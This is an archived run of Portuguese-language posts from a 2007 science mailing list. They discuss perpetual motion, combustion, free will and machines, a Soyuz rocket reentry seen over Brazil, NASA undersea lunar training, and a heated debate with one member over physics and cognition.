bem limitada, mas já é impressionate... Imagine milhares, milhões e bilhões
de neurônios! :-)

[]´,s
Jeff.




SUBJECT: Ferrari de recuperação
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/05/2007 20:02

Léo pergunta:

"Ferrari é recuperável????????? Como Educador, isso me preocupa."

Eu, como professor de física, acredito que não. Ferrari já é velho
demais para aprender a física básica necessária para compreender a
maioria dos assuntos sobre os quais ele palpita. Não é velho demais
porque tem muitos anos, mas sim porque já não tem tempo e nem
disposição para aprender o que seria preciso.

A escola é uma época importante na vida das pessoas porque é quando
elas tem tempo e possibilidade de se dedicarem ao aprendizado das
coisas mais básicas. Infelizmente muitos alunos passam seu tempo de
escola apenas "fazendo um socialzinho" e se esquecem de estudar e
aprender. Para complicar temos ainda muitos professores que não se
importam com isso e dizem "deixa, a vida vai lhes ensinar um dia...".
Bobagem, a vida não ensina física, física se aprende na escola.

Quando as pessoas "passam da idade da escola" a única maneira de
aprender coisas novas é se dedicar a elas. Mas sem antes terem se
dedicado ao aprendizado de outras coisas mais básicas ensinadas na
escola as pessoas acabam tendo uma dificuldade muito maior para
aprender coisas novas. Tornam-se "cansados", "lerdos", "desanimados".
Além disso, as pessoas criam "muletas" para se apoiarem e sobreviverem
com seus "palpites".

As "muletas" incluem toda sorte de "explicações alternativas" para
assuntos que possuem uma explicação básica simples, mas que não foram
compreendidos corretamente na época em que deveriam ter sido
aprendidos. Assim, encontramos hoje milhares de "especialistas em dar
palpites" sobre qualquer assunto, mas muito pouco preocupados em
saberem de onde nasceram esses "palpites". Eles simplesmente acham que
"descobriram a América" porque inventaram alguma explicação para o que
lhes é perguntado.

Ferrari é um palpiteiro da física e de outras áreas. Seu mundo de
palpites lhe basta, e lhe basta tanto que ele até nega o outro mundo
que ele não conheceu na escola. Ele se sente feliz com seus palpites e
acredita mesmo que eles estejam corretos. Pouco importa se estão ou
não, seus palpites é tudo lhe resta.

Deixem o moço palpitar. Ele não vai mais aprender o que deixou de
aprender e é inútil querer que ele abandone a única coisa que ele tem,
palpites, sendo que nada há que ele possa pôr no lugar deles, pois já
não dá mais para traçar o caminho que ele não seguiu na época certa.

Ferrari é irrecuperável. :)

Abraços,
JC






SUBJECT: Re: Darwin na revista Veja
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/05/2007 20:12

Também já cometi essa temeridade algumas vezes. Uma delas foi aqui
nesse link:

http://www.ciadaescola.com.br/zoom/materia.asp?materia=246&pagina=1

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
<alvaro@...> escreveu
>
> Pessoal,
>
> Cometi a temeridade de escrever um pequeno ensaio sobre as reações dos
> criacionistas à teoria da evolução. Vejam como ficou em
> http://alvaroaugusto.blogspot.com/2007/05/darwin-na-revista-veja.html
>
> Cartas, para a redação...
>
> [ ]s
>
> Alvaro Augusto
>




SUBJECT: Re: Fw: Moto Perpétuo
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/05/2007 20:17

Não se assuste, esse ainda parece ser bem intencionado. :)

Pode mandar suas respostas porque estão boas, na minha opinião.

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Olívio, texto abaixo, é professor. Como posso responder questões de
moto-contínuo para professor? Falo para ele estudar termodinâmica? Não
é o caminho que aprecio como resposta.
> Aceito sugestões.
> No texto, algumas tentativas de respostas:
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Olívio Mariano Santos de Oliveira" <olivio@...>
> Para: <leobarretos@...>
> Enviada em: quarta-feira, 16 de maio de 2007 09:48
> Assunto: Moto Perpétuo
>
>
> Olá Professor Leo Barretos,
>
> É muito gratificante escrever-lhe, pelo fato de nos tratarmos do
mesmo tema:
> o moto perpétuo.
> Durante uma pesquisa escolar que fiz, utilizei-me das informações do seu
> site para abrir uma discussão em sala de aula à respeito do assunto.
> Resultado: muitas dúvidas persistiram, como as citadas abaixo.
>
> 1. Se alguém criar um dispositivo que funcione de fato, este seria
um moto
> perpétuo?
>
> Léo: A chance desse "Se" acontecer é, dentro da Ciência vigente,
nula. Todavia, "Se" acontecer, enquadrado no conceito de moto perpétuo
de primeira espécie, toda a Ciência vigente cairá por terra!
>
> 2. É verdade que, caso alguém o crie, será impossibilitado de patentear?
>
> Léo: Os escritórios de patentes dos E.U.A. e da França, com certeza,
não 'patenteiam a idéia'. Todavia, se o 'inventor' levar o
dispositivo, e funcionar, a patente será registrada. Isso nunca
aconteceu! E, olhe, esses 'projetos' surgem diariamente!
> Eu mesmo recebo pelo menos 2 por semana e, os mais "interessantes"
(aqueles que dão maior dificuldade em situar a falha) eu os publico.
>
> 3. Alguém pode ganhar o Nobel de Física, caso crie esse dispositivo?
>
> Léo: Ele ganhará todos os 'Nobel', de todas as modalidades, e todos
os acumulados. Será maior que a megasena! Todavia, esse "caso" é
cientificamente improvável.
>
> São essas e muitas dúvidas que eu, juntamente com outros colegas,
esperamos
> que o senhor nos tire, contribuindo para o nosso conhecimento.
>
> Abraços
>
>
>
>
> --
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.467 / Virus Database: 269.7.1/807 - Release Date:
16/05/2007 18:05
>




SUBJECT: Comburente e combustível
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/05/2007 20:21

Aqui na Terra, consideramos o oxigênio como comburente e tudo o que
com ele reage liberando luz e energia térmica como combustível.

Agora, pense em um planeta cuja atmosfera seja desprovida de oxigênio
e tenha uma alta quantidade de, digamos, hidrogênio. Se riscarmos um
fósforo não haverá risco de explosão. Mm q gerássemos uma fagulha
permanente, não haveria oxigênio suficiente para se combinar com o
hidrogênio da atmosfera e detonar tudo.

Agora imaginemos q nesse ambiente temos um recipiente com oxigênio
liqüefeito. Abrimo-lo e expomos o conteúdo ao ar local. Em princípio
nada deve acontecer - o oxigênio pode reagir com o hidrogênio, mas
necessitaria de energia de ativação para iniciar a reação.

Riscamos um fósforo. Bum! É gerado fogo. O oxigênio do recipiente
vaporiza-se e combina-se com o hidrogênio do ar liberando luz e
energia térmica - essa energia promove mais combinação dos gases e se
auto-alimenta.

O fogo não deverá se espalhar pela atmosfera conquanto o oxigênio
fique confinado. Se tivermos demorado para acender o fósforo, uma boa
fração do oxigênio poderia ter se vaporizado e se espalhado por uma
porção da atmosfera de hidrogênio e, qdo riscássemos o palito,
aconteceria uma explosão - mas q rapidamente cessaria assim q o
oxigênio espalhado fosse consumido na reação e restaria o recipiente
queimando (ou talvez apagasse qdo, com a explosão, momentaneamente
todo o hidrogênio local fosse consumido, cessando a reação).

O fogo ficaria então confinado sobre o recipiente na superfície de
contato entre a massa de oxigênio liqüefeito e a atmosfera rica em
hidrogênio.

Nessas circunstâncias, quem é o combustível e quem é o comburente?

[]s,

Roberto Takata



SUBJECT: Re: Ferrari de recuperação
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/05/2007 20:28

--- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
> Ferrari é irrecuperável. :)

Eu tenho quase certeza de q se chamarmos o Chip Fooose ele é capaz de
recuperar Ferrari. Se ele recupera até uma Oldsmobile 442* velha de
guerra, toda enferrujada, q se dirá de uma Ferrari.

--------------------
* Antes:
http://www.overhaulin.com/s_gallery/IMG_6202.JPG
Depois:
http://www.overhaulin.com/s_gallery/IMG_7523.JPG

http://www.overhaulin.com/gallery.asp?Start=0&Offset=1&target=57
--------------------
[]s,

Roberto Takata



SUBJECT: Re: Ferrari de recuperação
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/05/2007 22:47

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> Eu tenho quase certeza de q se chamarmos o Chip Fooose ele é capaz de
> recuperar Ferrari.

Aliás, pra quem estiver estranhando o silêncio do dito cujo, é q ele
está participando de uma reunião de família:

http://www1.folha.uol.com.br/folha/galeria/imagemdodia/p_20070517_14.shtml

[]s,

Roberto Takata



SUBJECT: Termoelétrica caseira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/05/2007 23:37

Um aluno, baseando-se no Feira de Ciências, construiu esta termelétrica:

http://www.youtube.com/friiigu

[]s,

Roberto Takata



SUBJECT: Re: [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/05/2007 01:38

Olá.

> Homero, como se define livre arbítrio na IA??Ter livre
> arbitrio é sinonimo de inteligencia??

Não sei como a IA define livre arbítrio. Não creio que seja sinônimo
de inteligência. Livre arbítrio é uma escolha que é feita sem que
existam causas que levem a pessoa a escolher. Mas se não existe um
motivo para ela escolher algo, por que ela escolheu? Se uma pessoa
escolhe algo, tem um motivo dela ter escolhido. Uma escolha sem
causas é o mesmo que acaso. A pessoa escolheria ao acaso. Penso que
os defensores dessa idéia de livre arbítrio não visam tanto uma
escolha sem causa, e sim numa escolha cuja causa está no futuro, e
não no passado. Algo como a causa final de Aristóteles. Uma escolha
sem causa não faz o menor sentido. A pessoa escolheria a partir do
"nada." Mas como o nada pode levar a pessoa a escolher algo?

Saudações.
João de Carvalho




SUBJECT: Nanotextil
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/05/2007 03:45


Estou escrevendo uma espécie de ficção científica e tenho uma
pergunta: Como seria um tecido formado pelo entrelaçamento de
nanotubes em uma malha têxtil? A espessura seria molecular. Ele seria
transparente? Que cor teria? Que propriedades teria? Seria
confortável de se vestir? Ele seria uma lâmina cortante? Seria
interessante fazer uma calça com este tecido? Ou será que seria
melhor fazer um tecido com o entrelaçamento de feixes de vários
nanotubes? Digamos, 15 enrolados em espiral. Neste caso qual seria a
aparência? Ouvi dizer que nanotubes são pretos.

João de Carvalho




SUBJECT: Reentrada da Soyuz-U avistada do Rio Grande do Sul a São Paulo
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 18/05/2007 07:42

Reentrada da Soyuz-U avistada do Rio Grande do Sul a S�o
Paulo<http://www.ceticismoaberto.com/news/?p=885>


Como indicado no post anterior, o b�lido (ou "bola de fogo") visto sobre do
Rio Grande do Sul a S�o Paulo na madrugada de ter�a-feira, primeiras horas
do dia 15 de maio de 2007, foi a *reentrada na atmosfera de um foguete
lan�ador russo Soyuz-U*, que havia partido de Baikonur dias antes. Segundo
Bill Ailor, diretor do Center for Orbital and Reentry Debris
Studies<http://www.aero.org/capabilities/cords/index.html>nos informa:

Voc� relatou uma aparente reentrada em 15 de maio de 2007, 04:33 UTC no
estado de S�o Paulo. Baseado na informa��o do website CORDS, a �nica
reentrada neste hor�rio foi de fato do corpo de um foguete Soyuz-U. O
hor�rio previsto de reentrada do website CORDS era 15 de maio de 2007 @
06:16 UTC +/-110 minutos. Isto coloca o tempo observado dentro do hor�rio
previsto de reentrada. Considerando sua posi��o, a trajet�ria do corpo do
foguete cruza S�o Paulo durante o hor�rio observado (ver figuras 1 e 2)
Registros adicionais da observa��o do corpo do foguetre Soyuz-U tamb�m foram
encontrados.

* *
*
Figura 1

Figura 2*


Rodrigo indica na comunidade do "Centro de Ufologia Brasileiro" no Orkut
tr�s mat�rias de jornais de Mar�lia e Bauru sobre o evento:
- Vigias e policiais avistam �vnis em Bauru e
Mar�lia<http://www.bomdiabauru.com.br/index.asp?jbd=3&id=81&mat=77221>
- "Bola de fogo" vista em Mar�lia tamb�m � detectada em
Bauru<http://www.diariodemarilia.com.br/site/ver_noticia.aspx?CodNoticia=4054>
- Policiais e moradores v�em OVNI passar sobre campus
universit�rio<http://www.diariodemarilia.com.br/site/ver_noticia.aspx?CodNoticia=4020>
Eles se somam � cobertura ga�cha, em link indicado por Roberto Moschen:
- Bola de fogo cruza o c�u e desperta curiosidade em Porto
Alegre<http://www.clicrbs.com.br/clicnoticias/jsp/default.jsp?newsID=a1503796.htm&template=2503.dwt&section=Not%C3%ADcias>
Os relatos ga�chos parecem preceder os paulistas, talvez porque a reentrada
tenha passado inicialmente sobre tal regi�o. Vale lembrar que reentradas de
objetos se repetem quase que anualmente sobre os c�us brasileiros, com dois
casos em 2004 envolvendo um foguete americano e um sat�lite
chin�s<http://www.ceticismoaberto.com/ufologia/ovo_et.htm>,
e um foguete chin�s na virada deste
ano<http://www.ceticismoaberto.com/news/?p=834>.
Em todos estes casos � not�vel como apesar de algumas discrep�ncias, depois
de identificado o est�mulo � a reentrada � os testemunhos podem ser
confirmados como tendo uma precis�o not�vel.

Postado em Ufologia <http://www.ceticismoaberto.com/news/?cat=2>,
Curiosidades <http://www.ceticismoaberto.com/news/?cat=7>,
Ci�ncia<http://www.ceticismoaberto.com/news/?cat=11>,
Ceticismo <http://www.ceticismoaberto.com/news/?cat=12> | Por Mori Comente!
� <http://www.ceticismoaberto.com/news/?p=885#respond>

*Posts relacionados:*
- Mais outra reentrada, agora no
sul?<http://www.ceticismoaberto.com/news/?p=881>Recebemos e-mails
(incluindo de pessoas amea&cced...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=537>Sat�lite reentra sobre o
nordeste do Brasil No ...
- <$BlogItemSubject$> <http://www.ceticismoaberto.com/news/?p=480> O
magn�fico mundo dos uf�logos brasileiros Pau...
- CeticismoAberto.com atualizado
17.05.2007<http://www.ceticismoaberto.com/news/?p=882>REFER�NCIAS
ATUALIZADAS - Fotos de Fadas - ...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=280>Animais no metr� Divertido
exerc�cio de pareid...


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Climate change: A guide for the perplexed
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/05/2007 12:23

Excelente sítio:

*Climate change: A guide for the perplexed*
http://environment.newscientist.com/channel/earth/dn11462


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/05/2007 12:26

--- Joao de Carvalho <joaobncarvalho@hotmail.com>
>escreveu:
>
> Olá.
>
> > Homero, como se define livre arbítrio na IA??Ter
> livre
> > arbitrio é sinonimo de inteligencia??
>
> Não sei como a IA define livre arbítrio. Não creio
> que seja sinônimo
> de inteligência.

Como voce definiria efeito inteligente ??Está pergunta
anda de mãos dadas com o princípio do design
inteligente....


>Livre arbítrio é uma escolha que é
> feita sem que existam causas que levem a pessoa a
>escolher.

Efeitos Quanticos??? Como se constata algo com livre
arbitrio ? Na indicação de takata, "algo nem aleatorio
nem deterministico".


>Mas se não existe um motivo para ela escolher algo,
>por que ela escolheu?
> Se uma pessoa
> escolhe algo, tem um motivo dela ter escolhido. Uma
> escolha sem
> causas é o mesmo que acaso.

Como se faz uma escolha sem uma causa ??


>A pessoa escolheria ao
> acaso. Penso que
> os defensores dessa idéia de livre arbítrio não
> visam tanto uma
> escolha sem causa, e sim numa escolha cuja causa
> está no futuro, e
> não no passado.

Função de utilidade ?

> Algo como a causa final de
> Aristóteles. Uma escolha
> sem causa não faz o menor sentido. A pessoa
> escolheria a partir do
> "nada." Mas como o nada pode levar a pessoa a
> escolher algo?

Não entendi essa de Aristóteles.
Vamos lá: seres vivos podem fazer escolhas sem causa ?
Máquinas podem fazer escolhas? Ainda, podem fazer
escolhas sem causa ?




"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/05/2007 12:38

O paradigma que envolve o mecanismo do pensamento
humano é "superior" ao paradigma das máquinas. Nós
humanos, somos capazes de brincar com proposições
auto-referentes que geram paradoxos enquanto que os
computadores "se quebram" nesse ponto. Na verdade,
todo o paradigma das máquinas de turing se quebram
neste ponto.
Uma questão interessante seria se as moscas possuem um
"software mental"(modelado por uma maquina de turing)
ou algo "superior" a esse paradigma.

PS: Estou colocando superior entre aspas apenas pra
denotar algo a mais já que para falar de superioridade
necessitaríamos entender o paradigma do pensamento
humano ou um novo paradigma de computação.


--- Jefferson <jeff@jeff.com.br> escreveu:
> >
> >Se no lugar da mosca colocassemos um robo
> programado, suas
> >respostas seriam sempre as mesmas, para as mesmas
> ações e parametros.
> >
>
> Mesmo um robô programado, principalmente se for
> muito complexo, pode ter
> atitudes diferentes de acordo com ambiente. Um
> processador de computador,
> por exemplo, pode ter o resultado de um cálculo
> alterado por um aumento de
> temperatura. Basta que um transístor minúsculo (do
> tamanho de uma
> mitocôndria) sofra alguma alteração momentânea por
> causa de alguma pequena
> radiação ou um de campo magnético, por exemplo, para
> que o resultado final
> mude completamente.



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SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/05/2007 13:18

Olá Takata!

Takata >>> Bem, no *seu* mundo em q o raciocínio é uma
onda q se espalha pelo meio material pode ser.

--- Veja, quem se espalha é a onda criada pelo
raciocinio e não o racioicinio (em si). O racioicinio
é o codificador da onda. É exatamente oposto disto que
vc está fazendo agora, ao ler. Vc só está sendo capaz
de racioicinar (ao ler) o que raciocinei (ao
escrever), porque está decodificando a onda que meu
racioicinio enviou através do meio (matéria).

Takata >>> Aqui *neste* mundo, é um morto estranho q é
capaz de enviar naves a outros planetas, produzir
tecnologia, prever o tempo, acertar o desvio da luz
sob influência gravitacional...

--- Pois é, o velho argumento da tecnologia. O Homero
adora este argumento. Envia naves a outros planetas,
mas não sabe o que é o espaço. Produz tecnologia, mas
não sabe o que é logia. Acerta o desvio da luz, mas
vive na sombra da consciencia.

--- Avante! Avante! Bravos heróis!

Takata >>> O rei está morto? Longo vida ao rei.

--- O rei está nu!



sinceramente
ferrari

EXPERIMENTE XIXI COM TINTA (novo livro do Ferrari):
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SUBJECT: Re: E=m.c2
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/05/2007 13:47

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- O rei está nu!

Nu e cru, tal como a verdade. Agora vamos ver o quanto *seu* rei está
vestido, responda ao problema da mensagem abaixo:

http://br.groups.yahoo.com/group/ciencialist/message/63164

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/05/2007 13:55

>
>O paradigma que envolve o mecanismo do pensamento
> humano é "superior" ao paradigma das máquinas. Nós
> humanos, somos capazes de brincar com proposições
> auto-referentes que geram paradoxos enquanto que os
> computadores "se quebram" nesse ponto.

Ainda.

>
> PS: Estou colocando superior entre aspas apenas pra
> denotar algo a mais já que para falar de superioridade
> necessitaríamos entender o paradigma do pensamento
> humano ou um novo paradigma de computação.
>

Eu imagino que fenômenos como sentimentos, emoções, consciência e idéia de
livre artíbtrio, por exemplo, podem ir surgindo apenas com a complexidade de
uma rede neural artificial. Outro dia eu lí uma notícia da criação de um
projeto chamado "Blue Brain", que é a simulação de um cérebro com milhões de
"neurônios" (artificiais), usando milhares de processadores, pois o
processamento é absurdo. Estes cientistas disseram que quando ligam este
"cérebro", observam um comportamento parecido com um "cérebro real" como se
tivesse acordando (vai "despertanto" devagar). Depois começam a ocorrer
ligações *expontaneas* de neurônios que foram grupos e criam padrões que
"pulsam" ritmadamente... Tudo isso "sozinho".

Achei uma notícia relacionada aqui:
http://www.jornaldaciencia.org.br/Detalhe.jsp?id=44734
E outra aqui:
http://www.inovacaotecnologica.com.br/noticias/noticia.php?artigo=010150050608

[]´,s
Jeff.



SUBJECT: Re: [ciencialist] Re: ABC da CIENCIA
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/05/2007 14:04

Olá Homero!

Como tenho lhe dito, lhe quero bem e o tempo em que
brigava com vc já passou. Mas vou cometar umas
coisinhas que vc pensa ao meu respeito e sobre ciencia
e que estão equivocadas:

Homero >>> a física que despreza

--- Não é verdade! Não desprezo a fisica. Apenas não
acho que a ciencia deve ficar presa apenas a fisica. A
fisica tende a achar que ela é a ciencia em si, e não
é verdade. A fisica é "uma ciencia", ela não é a única
ciencia, nem é a ciencia em si. Acho apenas que a
fisica precisa reconhecer humildemente sua razão de
ser e sua limitação. Só isto. Agora, querer se colocar
no lugar da ciencia é uma falácia.

Homero >>> Quer substitui-lo? Quer "abrir a mente dos
pobres cientistas"?

--- Não quero substitui-lo, é impossivel, é inerente
ao ser humano. O que faço é apenas torna-lo
autoconciente, só isto.

Homero >>> Não há nenhum "fato" em sua frase, mas uma
alegação sem nenhuma base ou sentido.

--- Enquanto não estudar a si mesmo. Ou seja, sua
próprio cognição, não fará sentido mesmo.

Homero >>> física, o conhecimento que chamamos de
física, é um conjunto de teorias e explicações que
podem ser confirmadas pela experimentação...

--- Pois então, experimente experimentar sua própria
cognição funcionando.

Homero >>> Apresente um estudo ou experimento que
prove o que alega.

--- Ué, vc não é capaz de experimentar sua própria
cognição? Que laboratório vc quer melhor do que este?

Ferrari: "experimente sua cognição."

Homero: "Não quero."

Ferrari: "experimente sua cognição."

Homero: "Ferrari, vc é um desconexo!"

Ferrari: "experimente sua cognição."

Homero: "Bullshit"

Ferrari: "experimente sua cognição."

Homero: "Ah! vc não consegue provar nada"

Acho que já deu para entender o seu problema,
não?..:-)



sinceramente
ferrari




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SUBJECT: Re: [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/05/2007 14:05

Oi João e Chicão,

> Como se faz uma escolha sem uma causa ??

Não há fenômeno sem causa, no entanto...

Existem equações não lineares que possuem um conjunto de "n" soluções
possíveis. De modo semelhante, no mundo subatômico e no reino dos
sistemas complexos, as causas produzem diversas possibilidades de
efeitos. Qual dos efeitos se realizará, isso é contingente.

Sabe-se que um isótopo instável decairá e que ele tem uma meia-vida,
porém, é impossível se saber o momento exato em que se dará o seu
decaimento.

Como afirmou o químico e filósofo Robert Havemann, a necessidade
determina o "possível" (e os graus de probabilidade), porém não
o "real".

Vale dizer, a relação entre a causa e seu conjunto de efeitos
possíveis {x, y, k} é "necessária". Entretanto, a relação dessa mesma
causa com cada elemento desse conjunto considerado isoladamente, x, y
ou k, é contingente.

Deu pra entender? :-)

Abraços,
Manuel Bulcão



SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/05/2007 14:33

Takata,

Vamos fazer um acordo, eu respondo o seu problema se
voce me responder porque não consegue separar o carro
sem colocar espaço vazio entre as partes, ok?


sinceramente
ferrari











--- rmtakata <roberto.takata@bol.com.br> escreveu:

> --- Em ciencialist@yahoogrupos.com.br, Ferrari
> <emailferrari@...>
> > --- O rei está nu!
>
> Nu e cru, tal como a verdade. Agora vamos ver o
> quanto *seu* rei está
> vestido, responda ao problema da mensagem abaixo:
>
>
http://br.groups.yahoo.com/group/ciencialist/message/63164
>
> []s,
>
> Roberto Takata
>
>


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SUBJECT: Re: E=m.c2
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/05/2007 14:45

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Vamos fazer um acordo, eu respondo o seu problema se
> voce me responder porque não consegue separar o carro
> sem colocar espaço vazio entre as partes, ok?

Primeiro, vc inverteu. Quem disse q não é possível separar o carro sem
colocar espaço vazio foi vc. Eu disse o contrário, q se pode dividir o
carro sem afastar suas partes.

Ferrari: "E vc percebe que dividir o carro é colocar espaço vazio
entre as partes (espaços cheios)?"
http://br.groups.yahoo.com/group/ciencialist/message/62867

Eu: "Não. Vc pode dividir o carro sem separar as partes."
http://br.groups.yahoo.com/group/ciencialist/message/62874

Mas como vc não entendeu o exemplo do carro, dou o exemplo de um
quarto. Vc tem um quarto retangular de digamos, 4 metros por 8 metros.
Vc constrói uma parede no meio dividindo o quarto em dois cômodos de
cerca de 4 metros por 4 metros. Com isso o quarto foi *dividido* sem a
colocação de espaço vazio no meio.

Continuo a esperar sua resolução para o exercício.

[]s,

Roberto Takata



SUBJECT: RUMO À LUA
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/05/2007 14:46

Grupos.com.br



17/05/2007
Astronautas treinam para missão lunar no fundo do mar
Por Patrick Moser

LABORATÓRIO SUBMARINO AQUARIUS, EUA, 17 mai (AFP) - Cercados por amistosos tubarões e curiosas tartarugas, astronautas da Nasa trabalham no fundo do mar, a 18 metros de profundidade, para se preparar para futuras missões à Lua.

Usando enormes capacetes amarelos e roupas de mergulho, mas sem nadadeiras, o astronauta José Hernández - filho de mexicanos, nascido na Califórnia - e o cirurgião de vôo Josef Schmid dão saltos como se estivessem na Lua, enquanto montam uma estrutura tubular no fundo do mar.

Dentro do Laboratório Submarino Aquarius, dois braços mecânicos teleguiados a milhares de quilômetros, simulam uma cirurgia.

A operação submarina é parte das "Missões de Operação em Ambientes Extremos 12" da Nasa (NEEMO 12), para estudar conceitos de medicina espacial, técnicas para caminhar na Lua e outros projetos de exploração.

"Em última instância, o que estamos tentando fazer é desenvolver conceitos operacionais para missões lunares", disse Bill Todd, gerente de projeto das NEEMO 12.

A equipe, integrada por dois astronautas, um cirurgião de vôo, um médico da Universidade de Cincinnati e dois técnicos, ficará 12 dias debaixo d'água.

Seu lar temporário é o Aquarius, um cilindro incrustado no coral que lembra o "submarino amarelo" dos Beatles.

Situado a cinco quilômetros e meio da costa de Key Largo (sul da Flórida), o Aquarius é o único laboratório e hábitat submarino permanente do mundo.

"Nós consideramos este um ambiente extremo", disse Todd, da Aliança Espacial Unida, que opera a frota de ônibus espaciais da Nasa.

Vírus latentes nos corpos destes mergulhadores se replicam muito mais rápido no fundo do mar do que na atmosfera terrestre, de forma similar ao que ocorre no espaço.

"Não há outro local conhecido onde temos este tipo de resposta", explicou Todd, vestido com uma camiseta com os dizeres: "Uma pequena pernada para o homem, um grande passo para a humanidade", em alusão às palavras de Neil Armstrong, ao pisar pela primeira vez na Lua.

A Nasa espera que estas e outras missões NEEMO no Aquarius eventualmente ajudem os cientistas a compreender porque os vírus se multiplicam mais rapidamente no espaço do que na Terra.

A outra meta da missão é avaliar o uso da tele-robótica em operações a distância durante vôos espaciais, simulando as intervenções cirúrgicas com os dois braços mecânicos.

Os mergulhadores também tentam resolver várias pendências que a Nasa tem antes de retomar as missões tripuladas para a Lua e, eventualmente, para Marte.

Durante suas "caminhadas lunares" no oceano, os mergulhadores-astronautas levam pesos para simular a gravidade lunar, que corresponde à sexta parte da da Terra.

Hernández e Schmid parecem dois astronautas na Lua, enquanto dão saltos no fundo do mar e, apressados, puxam, empurram e movem estruturas tubulares como parte de um exercício de construção.

Eles também coletam pequenos pedaços de coral morto como fariam com amostras se estivessem na Lua.

Eles dedicam várias horas ao que, no jargão dos astronautas, se conhece como "atividades extra-veiculares", e voltam para casa, o Aquarius, um módulo mais apertado que a Estação Espacial Internacional (ISS), segundo os que visitaram as duas instalações.

O cilindro de 81 toneladas tem seis camas, ducha, banheiro, forno microondas, geladeira e computadores ligados à base em Key Largo.

Os tripulantes recebem oxigênio mediante um "cordão umbilical", procedente de uma bóia de apoio colocada sobre o cilindro.

Em caso de emergência, abandonar não é uma opção, tal como acontece no espaço.

Além disso, devido à longa permanência que ficam debaixo d'água, os astronautas têm seus corpos saturados de nitrogênio.

Assim, antes de subir à superfície, a pressão interna do Aquarius é reduzida gradativamente durante 17 horas até níveis similares aos da superfície. Depois, pode emergir rapidamente, sem problemas.

Como acontece em mergulhos tradicionais, uma subida rápida sem descompressão seria letal para os membros da equipe.

Na metade de seu exercício, de 7 a 18 de maio, os astronautas tiveram uma surpresa que os tirou da rotina e da monotonia da comida seca: a tripulação de superfície enviou para eles uma pizza recém tirada do forno, embalada a vácuo.

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ CHicão - [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/05/2007 14:53

Olá Chicão

Chicão: "O paradigma que envolve o mecanismo do pensamento
humano é "superior" ao paradigma das máquinas. Nós
humanos, somos capazes de brincar com proposições
auto-referentes que geram paradoxos enquanto que os
computadores "se quebram" nesse ponto. Na verdade,
todo o paradigma das máquinas de turing se quebram
neste ponto."

